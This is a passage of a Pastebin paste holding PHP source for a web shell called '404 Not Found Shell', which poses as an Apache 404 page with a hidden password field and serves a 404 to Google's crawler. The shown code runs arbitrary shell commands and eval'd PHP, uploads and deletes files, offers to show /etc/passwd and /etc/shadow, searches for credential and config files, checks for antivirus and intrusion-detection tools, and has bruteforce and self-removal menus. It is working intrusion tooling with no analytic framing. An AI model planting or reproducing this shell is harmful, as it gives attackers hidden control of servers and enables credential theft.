EddieKidiw

404 Not Found Shell Decode By Eddie Kidiw

Nov 10th, 2015
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 75.96 KB | None | 0 0
  1. <?php
  2. $auth_pass = "098f6bcd4621d373cade4e832627b4f6";
  3.  
  4. $color = "#00ff00";
  5.  
  6. $default_action = 'FilesMan';
  7.  
  8. @define('SELF_PATH', __FILE__);
  9.  
  10. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  11.  
  12. header('HTTP/1.0 404 Not Found');
  13.  
  14. exit;
  15.  
  16. }
  17.  
  18. @session_start();
  19.  
  20. @error_reporting(0);
  21.  
  22. @ini_set('error_log',NULL);
  23.  
  24. @ini_set('log_errors',0);
  25.  
  26. @ini_set('max_execution_time',0);
  27.  
  28. @set_time_limit(0);
  29.  
  30. @set_magic_quotes_runtime(0);
  31.  
  32. @define('VERSION', '2.1');
  33.  
  34. if( get_magic_quotes_gpc() ) {
  35.  
  36. function stripslashes_array($array) {
  37.  
  38. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  39.  
  40. }
  41.  
  42. $_POST = stripslashes_array($_POST);
  43.  
  44. }
  45.  
  46. function printLogin() {
  47.  
  48. ?>
  49.  
  50. <h1>Not Found</h1>
  51.  
  52. <p>The requested URL was not found on this server.</p>
  53.  
  54. <hr>
  55.  
  56. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  57.  
  58. <style>
  59.  
  60. input { margin:0;background-color:#fff;border:1px solid #fff; }
  61.  
  62. </style>
  63.  
  64. <center>
  65.  
  66. <form method=post>
  67.  
  68. <input type=password name=pass>
  69.  
  70. </form></center>
  71.  
  72. <?php
  73.  
  74. exit;
  75.  
  76. }
  77.  
  78. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  79.  
  80. if( empty( $auth_pass ) ||
  81.  
  82. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  83.  
  84. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  85.  
  86. else
  87.  
  88. printLogin();
  89.  
  90.  
  91. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  92.  
  93. $os = 'win';
  94.  
  95. else
  96.  
  97. $os = 'nix';
  98.  
  99. $safe_mode = @ini_get('safe_mode');
  100.  
  101. $disable_functions = @ini_get('disable_functions');
  102.  
  103. $home_cwd = @getcwd();
  104.  
  105. if( isset( $_POST['c'] ) )
  106.  
  107. @chdir($_POST['c']);
  108.  
  109. $cwd = @getcwd();
  110.  
  111. if( $os == 'win') {
  112.  
  113. $home_cwd = str_replace("\\", "/", $home_cwd);
  114.  
  115. $cwd = str_replace("\\", "/", $cwd);
  116.  
  117. }
  118.  
  119. if( $cwd[strlen($cwd)-1] != '/' )
  120.  
  121. $cwd .= '/';
  122.  
  123.  
  124.  
  125. if($os == 'win')
  126.  
  127. $aliases = array(
  128.  
  129. "List Directory" => "dir",
  130.  
  131. "Find index.php in current dir" => "dir /s /w /b index.php",
  132.  
  133. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  134.  
  135. "Show active connections" => "netstat -an",
  136.  
  137. "Show running services" => "net start",
  138.  
  139. "User accounts" => "net user",
  140.  
  141. "Show computers" => "net view",
  142.  
  143. "ARP Table" => "arp -a",
  144.  
  145. "IP Configuration" => "ipconfig /all"
  146.  
  147. );
  148.  
  149. else
  150.  
  151. $aliases = array(
  152.  
  153. "List dir" => "ls -la",
  154.  
  155. "list file attributes on a Linux second extended file system" => "lsattr -va",
  156.  
  157. "Show opened ports" => "netstat -an | grep -i listen",
  158.  
  159. "Find" => "",
  160.  
  161. "Find all suid files" => "find / -type f -perm -04000 -ls",
  162.  
  163. "Find suid files in current dir" => "find . -type f -perm -04000 -ls",
  164.  
  165. "Find all sgid files" => "find / -type f -perm -02000 -ls",
  166.  
  167. "Find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  168.  
  169. "Find config.inc.php files" => "find / -type f -name config.inc.php",
  170.  
  171. "Find config* files" => "find / -type f -name \"config*\"",
  172.  
  173. "Find config* files in current dir" => "find . -type f -name \"config*\"",
  174.  
  175. "Find all writable folders and files" => "find / -perm -2 -ls",
  176.  
  177. "Find all writable folders and files in current dir" => "find . -perm -2 -ls",
  178.  
  179. "Find all service.pwd files" => "find / -type f -name service.pwd",
  180.  
  181. "Find service.pwd files in current dir" => "find . -type f -name service.pwd",
  182.  
  183. "Find all .htpasswd files" => "find / -type f -name .htpasswd",
  184.  
  185. "Find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  186.  
  187. "Find all .bash_history files" => "find / -type f -name .bash_history",
  188.  
  189. "Find .bash_history files in current dir" => "find . -type f -name .bash_history",
  190.  
  191. "Find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  192.  
  193. "Find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  194.  
  195. "Locate" => "",
  196.  
  197. "Locate httpd.conf files" => "locate httpd.conf",
  198.  
  199. "Locate vhosts.conf files" => "locate vhosts.conf",
  200.  
  201. "Locate proftpd.conf files" => "locate proftpd.conf",
  202.  
  203. "Locate psybnc.conf files" => "locate psybnc.conf",
  204.  
  205. "Locate my.conf files" => "locate my.conf",
  206.  
  207. "Locate admin.php files" =>"locate admin.php",
  208.  
  209. "Locate cfg.php files" => "locate cfg.php",
  210.  
  211. "Locate conf.php files" => "locate conf.php",
  212.  
  213. "Locate config.dat files" => "locate config.dat",
  214.  
  215. "Locate config.php files" => "locate config.php",
  216.  
  217. "Locate config.inc files" => "locate config.inc",
  218.  
  219. "Locate config.inc.php" => "locate config.inc.php",
  220.  
  221. "Locate config.default.php files" => "locate config.default.php",
  222.  
  223. "Locate config* files " => "locate config",
  224.  
  225. "Locate .conf files"=>"locate '.conf'",
  226.  
  227. "Locate .pwd files" => "locate '.pwd'",
  228.  
  229. "Locate .sql files" => "locate '.sql'",
  230.  
  231. "Locate .htpasswd files" => "locate '.htpasswd'",
  232.  
  233. "Locate .bash_history files" => "locate '.bash_history'",
  234.  
  235. "Locate .mysql_history files" => "locate '.mysql_history'",
  236.  
  237. "Locate .fetchmailrc files" => "locate '.fetchmailrc'",
  238.  
  239. "Locate backup files" => "locate backup",
  240.  
  241. "Locate dump files" => "locate dump",
  242.  
  243. "Locate priv files" => "locate priv"
  244.  
  245. );
  246.  
  247.  
  248. function printHeader() {
  249.  
  250. if(empty($_POST['charset']))
  251.  
  252. $_POST['charset'] = "UTF-8";
  253.  
  254. global $color;
  255.  
  256. ?>
  257.  
  258. <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?></title>
  259.  
  260. <style>
  261.  
  262. body {background-color:#000;color:#fff;}
  263.  
  264. body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
  265.  
  266. span,h1,a { color:<?=$color?> !important; }
  267.  
  268. span { font-weight: bolder; }
  269.  
  270. h1 { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
  271.  
  272. div.content { padding: 5px;margin-left:5px;}
  273.  
  274. a { text-decoration:none; }
  275.  
  276. a:hover { background:#666666; }
  277.  
  278. .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  279.  
  280. .bigarea { width:100%;height:250px; }
  281.  
  282. input, textarea, select { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
  283.  
  284. form { margin:0px; }
  285.  
  286. #toolsTbl { text-align:center; }
  287.  
  288. .toolsInp { width: 80%; }
  289.  
  290. .main th {text-align:left;}
  291.  
  292. .main tr:hover{background-color:#5e5e5e;}
  293.  
  294. .main td, th{vertical-align:middle;}
  295.  
  296. pre {font-family:Courier,Monospace;}
  297.  
  298. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  299.  
  300. </style>
  301.  
  302. <script>
  303.  
  304. function set(a,c,p1,p2,p3,charset) {
  305.  
  306. if(a != null)document.mf.a.value=a;
  307.  
  308. if(c != null)document.mf.c.value=c;
  309.  
  310. if(p1 != null)document.mf.p1.value=p1;
  311.  
  312. if(p2 != null)document.mf.p2.value=p2;
  313.  
  314. if(p3 != null)document.mf.p3.value=p3;
  315.  
  316. if(charset != null)document.mf.charset.value=charset;
  317.  
  318. }
  319.  
  320. function g(a,c,p1,p2,p3,charset) {
  321.  
  322. set(a,c,p1,p2,p3,charset);
  323.  
  324. document.mf.submit();
  325.  
  326. }
  327.  
  328. function a(a,c,p1,p2,p3,charset) {
  329.  
  330. set(a,c,p1,p2,p3,charset);
  331.  
  332. var params = "ajax=true";
  333.  
  334. for(i=0;i<document.mf.elements.length;i++)
  335.  
  336. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  337.  
  338. sr('<?=$_SERVER['REQUEST_URI'];?>', params);
  339.  
  340. }
  341.  
  342. function sr(url, params) {
  343.  
  344. if (window.XMLHttpRequest) {
  345.  
  346. req = new XMLHttpRequest();
  347.  
  348. req.onreadystatechange = processReqChange;
  349.  
  350. req.open("POST", url, true);
  351.  
  352. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  353.  
  354. req.send(params);
  355.  
  356. }
  357.  
  358. else if (window.ActiveXObject) {
  359.  
  360. req = new ActiveXObject("Microsoft.XMLHTTP");
  361.  
  362. if (req) {
  363.  
  364. req.onreadystatechange = processReqChange;
  365.  
  366. req.open("POST", url, true);
  367.  
  368. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  369.  
  370. req.send(params);
  371.  
  372. }
  373.  
  374. }
  375.  
  376. }
  377.  
  378. function processReqChange() {
  379.  
  380. if( (req.readyState == 4) )
  381.  
  382. if(req.status == 200) {
  383.  
  384. //alert(req.responseText);
  385.  
  386. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  387.  
  388. var arr=reg.exec(req.responseText);
  389.  
  390. eval(arr[2].substr(0, arr[1]));
  391.  
  392. }
  393.  
  394. else alert("Request error!");
  395.  
  396. }
  397.  
  398. </script>
  399.  
  400. <head><body><div style="position:absolute;width:100%;top:0;left:0;">
  401.  
  402. <form method=post name=mf style='display:none;'>
  403.  
  404. <input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
  405.  
  406. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  407.  
  408. <input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
  409.  
  410. <input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
  411.  
  412. <input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
  413.  
  414. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  415.  
  416. </form>
  417.  
  418. <?php
  419.  
  420. $serverIP=gethostbyname($_SERVER["HTTP_HOST"]);
  421.  
  422. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  423.  
  424. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  425.  
  426. $totalSpace = $totalSpace?$totalSpace:1;
  427.  
  428. $release = @php_uname('r');
  429.  
  430. $kernel = @php_uname('s');
  431.  
  432. $GgLink='http://www.google.com.vn/search?aq=f&sourceid=chrome&ie=UTF-8&q=';
  433.  
  434. if( strpos('Linux', $kernel) !== false )
  435.  
  436. {//$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  437.  
  438. $searchK=urlencode( 'Linux Kernel ' . substr($release,0,6) );
  439.  
  440. $Exlink='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description='.$searchK.'&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=';
  441.  
  442. $GgLink .=$searchK;
  443.  
  444. }
  445.  
  446. else
  447.  
  448. {
  449.  
  450. $searchK= urlencode( $kernel . ' ' . substr($release,0,3) );
  451.  
  452. $Exlink='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description='.$searchK.'&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=';
  453.  
  454. $GgLink .=$searchK;
  455.  
  456. }
  457.  
  458. if(!function_exists('posix_getegid')) {
  459.  
  460. $user = @get_current_user();
  461.  
  462. $uid = @getmyuid();
  463.  
  464. $gid = @getmygid();
  465.  
  466. $group = "?";
  467.  
  468. } else {
  469.  
  470. $uid = @posix_getpwuid(@posix_geteuid());
  471.  
  472. $gid = @posix_getgrgid(@posix_getegid());
  473.  
  474. $user = $uid['name'];
  475.  
  476. $uid = $uid['uid'];
  477.  
  478. $group = $gid['name'];
  479.  
  480. $gid = $gid['gid'];
  481.  
  482. }
  483.  
  484. $cwd_links = '';
  485.  
  486. $path = explode("/", $GLOBALS['cwd']);
  487.  
  488. $n=count($path);
  489.  
  490. for($i=0;$i<$n-1;$i++) {
  491.  
  492. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  493.  
  494. for($j=0;$j<=$i;$j++)
  495.  
  496. $cwd_links .= $path[$j].'/';
  497.  
  498. $cwd_links .= "\")'>".$path[$i]."/</a>";
  499.  
  500. }
  501.  
  502. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  503.  
  504. $opt_charsets = '';
  505.  
  506. foreach($charsets as $item)
  507.  
  508. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  509.  
  510. $m = array('SeCInFo'=>'SecInfo','FiLeS'=>'FiLesMan','CoNs0le'=>'Console','SqL'=>'Sql','PhP'=>'Php','SaFe MoDe'=>'SafeMode','StR1nG To0lS'=>'StringTools','BrUt3fOrCe'=>'Bruteforce','NeTw0rK'=>'Network');
  511.  
  512. if(!empty($GLOBALS['auth_pass']))
  513.  
  514. $m['Logout'] = 'Logout';
  515.  
  516. $m['Self remove'] = 'SelfRemove';
  517.  
  518. $menu = '';
  519.  
  520. foreach($m as $k => $v)
  521.  
  522. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  523.  
  524. $drives = "";
  525.  
  526. if ($GLOBALS['os'] == 'win') {
  527.  
  528. foreach( range('a','z') as $drive )
  529.  
  530. if (is_dir($drive.':\\'))
  531.  
  532. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  533.  
  534. }
  535.  
  536. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Un4m3<br>UsEr<br>Php<br>HDD<br>CwD'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'.
  537.  
  538. '<td>:<b><nobr>'.substr(@php_uname(), 0, 120).' <a href="'.$GgLink.'" target="_blank">[Google]</a> <a href="'.$Exlink.'" target=_blank>[Exploit-DB]</a></nobr></b><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>:'.$drives.'</td>'.
  539.  
  540. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.$serverIP.'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  541.  
  542. '<table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  543.  
  544. }
  545.  
  546.  
  547. function printFooter() {
  548.  
  549. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=red>[ Writeable ]</font>":"<font color=#fff>[ Not writable ]</font>";
  550.  
  551. ?>
  552.  
  553. </div>
  554.  
  555. <table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%">
  556.  
  557. <tr>
  558.  
  559. <td><form onSubmit="g(null,this.c.value);return false;"><span>Change Dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
  560.  
  561. <td><form onSubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  562.  
  563. </tr>
  564.  
  565. <tr>
  566.  
  567. <td><form onSubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
  568.  
  569. <td><form onSubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  570.  
  571. </tr>
  572.  
  573. <tr>
  574.  
  575. <td><form onSubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  576.  
  577. <td><form method='post' ENCTYPE='multipart/form-data'>
  578.  
  579. <input type=hidden name=a value='FilesMAn'>
  580.  
  581. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  582.  
  583. <input type=hidden name=p1 value='uploadFile'>
  584.  
  585. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  586.  
  587. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  588.  
  589. </tr>
  590.  
  591.  
  592. </table>
  593.  
  594. </div>
  595.  
  596. </body></html>
  597.  
  598. <?php
  599.  
  600. }
  601.  
  602. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  603.  
  604. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  605.  
  606. function ex($in) {
  607.  
  608. $out = '';
  609.  
  610. if(function_exists('exec')) {
  611.  
  612. @exec($in,$out);
  613.  
  614. $out = @join("\n",$out);
  615.  
  616. }elseif(function_exists('passthru')) {
  617.  
  618. ob_start();
  619.  
  620. @passthru($in);
  621.  
  622. $out = ob_get_clean();
  623.  
  624. }elseif(function_exists('system')) {
  625.  
  626. ob_start();
  627.  
  628. @system($in);
  629.  
  630. $out = ob_get_clean();
  631.  
  632. }elseif(function_exists('shell_exec')) {
  633.  
  634. $out = shell_exec($in);
  635.  
  636. }elseif(is_resource($f = @popen($in,"r"))) {
  637.  
  638. $out = "";
  639.  
  640. while(!@feof($f))
  641.  
  642. $out .= fread($f,1024);
  643.  
  644. pclose($f);
  645.  
  646. }
  647.  
  648. return $out;
  649.  
  650. }
  651.  
  652. function viewSize($s) {
  653.  
  654. if($s >= 1073741824)
  655.  
  656. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  657.  
  658. elseif($s >= 1048576)
  659.  
  660. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  661.  
  662. elseif($s >= 1024)
  663.  
  664. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  665.  
  666. else
  667.  
  668. return $s . ' B';
  669.  
  670. }
  671.  
  672.  
  673. function perms($p) {
  674.  
  675. if (($p & 0xC000) == 0xC000)$i = 's';
  676.  
  677. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  678.  
  679. elseif (($p & 0x8000) == 0x8000)$i = '-';
  680.  
  681. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  682.  
  683. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  684.  
  685. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  686.  
  687. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  688.  
  689. else $i = 'u';
  690.  
  691. $i .= (($p & 0x0100) ? 'r' : '-');
  692.  
  693. $i .= (($p & 0x0080) ? 'w' : '-');
  694.  
  695. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  696.  
  697. $i .= (($p & 0x0020) ? 'r' : '-');
  698.  
  699. $i .= (($p & 0x0010) ? 'w' : '-');
  700.  
  701. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  702.  
  703. $i .= (($p & 0x0004) ? 'r' : '-');
  704.  
  705. $i .= (($p & 0x0002) ? 'w' : '-');
  706.  
  707. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  708.  
  709. return $i;
  710.  
  711. }
  712.  
  713. function viewPermsColor($f) {
  714.  
  715. if (!@is_readable($f))
  716.  
  717. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  718.  
  719. elseif (!@is_writable($f))
  720.  
  721. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  722.  
  723. else
  724.  
  725. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  726.  
  727. }
  728.  
  729. if(!function_exists("scandir")) {
  730.  
  731. function scandir($dir) {
  732.  
  733. $dh = opendir($dir);
  734.  
  735. while (false !== ($filename = readdir($dh))) {
  736.  
  737. $files[] = $filename;
  738.  
  739. }
  740.  
  741. return $files;
  742.  
  743. }
  744.  
  745. }
  746.  
  747. function which($p) {
  748.  
  749. $path = ex('which '.$p);
  750.  
  751. if(!empty($path))
  752.  
  753. return $path;
  754.  
  755. return false;
  756.  
  757. }
  758.  
  759. function actionSecInfo() {
  760.  
  761. printHeader();
  762.  
  763. echo '<h1>Server Security information</h1><div class=content>';
  764.  
  765. function showSecParam($n, $v) {
  766.  
  767. $v = trim($v);
  768.  
  769. if($v) {
  770.  
  771. echo '<span>'.$n.': </span>';
  772.  
  773. if(strpos($v, "\n") === false)
  774.  
  775. echo $v.'<br>';
  776.  
  777. else
  778.  
  779. echo '<pre class=ml1>'.$v.'</pre>';
  780.  
  781. }
  782.  
  783. }
  784.  
  785.  
  786.  
  787. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  788.  
  789. showSecParam('Open base dir', @ini_get('open_basedir'));
  790.  
  791. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  792.  
  793. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  794.  
  795. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  796.  
  797. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'None');
  798.  
  799. $temp=array();
  800.  
  801. if(function_exists('mysql_get_client_info'))
  802.  
  803. $temp[] = "MySql (".mysql_get_client_info().")";
  804.  
  805. if(function_exists('mssql_connect'))
  806.  
  807. $temp[] = "MSSQL";
  808.  
  809. if(function_exists('pg_connect'))
  810.  
  811. $temp[] = "PostgreSQL";
  812.  
  813. if(function_exists('oci_connect'))
  814.  
  815. $temp[] = "Oracle";
  816.  
  817. showSecParam('Supported databases', implode(', ', $temp));
  818.  
  819. echo '<br>';
  820.  
  821.  
  822.  
  823. if( $GLOBALS['os'] == 'nix' ) {
  824.  
  825. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  826.  
  827. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  828.  
  829. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  830.  
  831. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'No');
  832.  
  833. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  834.  
  835. showSecParam('OS version', @file_get_contents('/proc/version'));
  836.  
  837. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  838.  
  839. if(!$GLOBALS['safe_mode']) {
  840.  
  841. echo '<br>';
  842.  
  843. $temp=array();
  844.  
  845. foreach ($userful as $item)
  846.  
  847. if(which($item)){$temp[]=$item;}
  848.  
  849. showSecParam('Userful', implode(', ',$temp));
  850.  
  851. $temp=array();
  852.  
  853. foreach ($danger as $item)
  854.  
  855. if(which($item)){$temp[]=$item;}
  856.  
  857. showSecParam('Danger', implode(', ',$temp));
  858.  
  859. $temp=array();
  860.  
  861. foreach ($downloaders as $item)
  862.  
  863. if(which($item)){$temp[]=$item;}
  864.  
  865. showSecParam('Downloaders', implode(', ',$temp));
  866.  
  867. echo '<br/>';
  868.  
  869. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  870.  
  871. showSecParam('HDD space', ex('df -h'));
  872.  
  873. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  874.  
  875. }
  876.  
  877. } else {
  878.  
  879. showSecParam('OS Version',ex('ver'));
  880.  
  881. showSecParam('Account Settings',ex('net accounts'));
  882.  
  883. showSecParam('User Accounts',ex('net user'));
  884.  
  885. }
  886.  
  887. echo '</div>';
  888.  
  889. printFooter();
  890.  
  891. }
  892.  
  893.  
  894. function actionPhp() {
  895.  
  896. if( isset($_POST['ajax']) ) {
  897.  
  898. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  899.  
  900. ob_start();
  901.  
  902. eval($_POST['p1']);
  903.  
  904. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  905.  
  906. echo strlen($temp), "\n", $temp;
  907.  
  908. exit;
  909.  
  910. }
  911.  
  912. printHeader();
  913.  
  914. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  915.  
  916. echo '<h1>PHP Info</h1><div class=content>';
  917.  
  918. ob_start();
  919.  
  920. phpinfo();
  921.  
  922. $tmp = ob_get_clean();
  923.  
  924. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  925.  
  926. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  927.  
  928. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  929.  
  930. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  931.  
  932. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  933.  
  934. echo $tmp;
  935.  
  936. echo '</div><br>';
  937.  
  938. }
  939.  
  940. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  941.  
  942. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  943.  
  944. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  945.  
  946. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  947.  
  948. if(!empty($_POST['p1'])) {
  949.  
  950. ob_start();
  951.  
  952. eval($_POST['p1']);
  953.  
  954. echo htmlspecialchars(ob_get_clean());
  955.  
  956. }
  957.  
  958. echo '</pre></div>';
  959.  
  960. printFooter();
  961.  
  962. }
  963.  
  964.  
  965. function actionFilesMan() {
  966.  
  967. printHeader();
  968.  
  969. echo '<h1>File Manager</h1><div class=content>';
  970.  
  971. if(isset($_POST['p1'])) {
  972.  
  973. switch($_POST['p1']) {
  974.  
  975. case 'uploadFile':
  976.  
  977. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  978.  
  979. echo "Can't upload file!";
  980.  
  981. break;
  982.  
  983. break;
  984.  
  985. case 'mkdir':
  986.  
  987. if(!@mkdir($_POST['p2']))
  988.  
  989. echo "Can't create new dir";
  990.  
  991. break;
  992.  
  993. case 'delete':
  994.  
  995. function deleteDir($path) {
  996.  
  997. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  998.  
  999. $dh = opendir($path);
  1000.  
  1001. while ( ($item = readdir($dh) ) !== false) {
  1002.  
  1003. $item = $path.$item;
  1004.  
  1005. if ( (basename($item) == "..") || (basename($item) == ".") )
  1006.  
  1007. continue;
  1008.  
  1009. $type = filetype($item);
  1010.  
  1011. if ($type == "dir")
  1012.  
  1013. deleteDir($item);
  1014.  
  1015. else
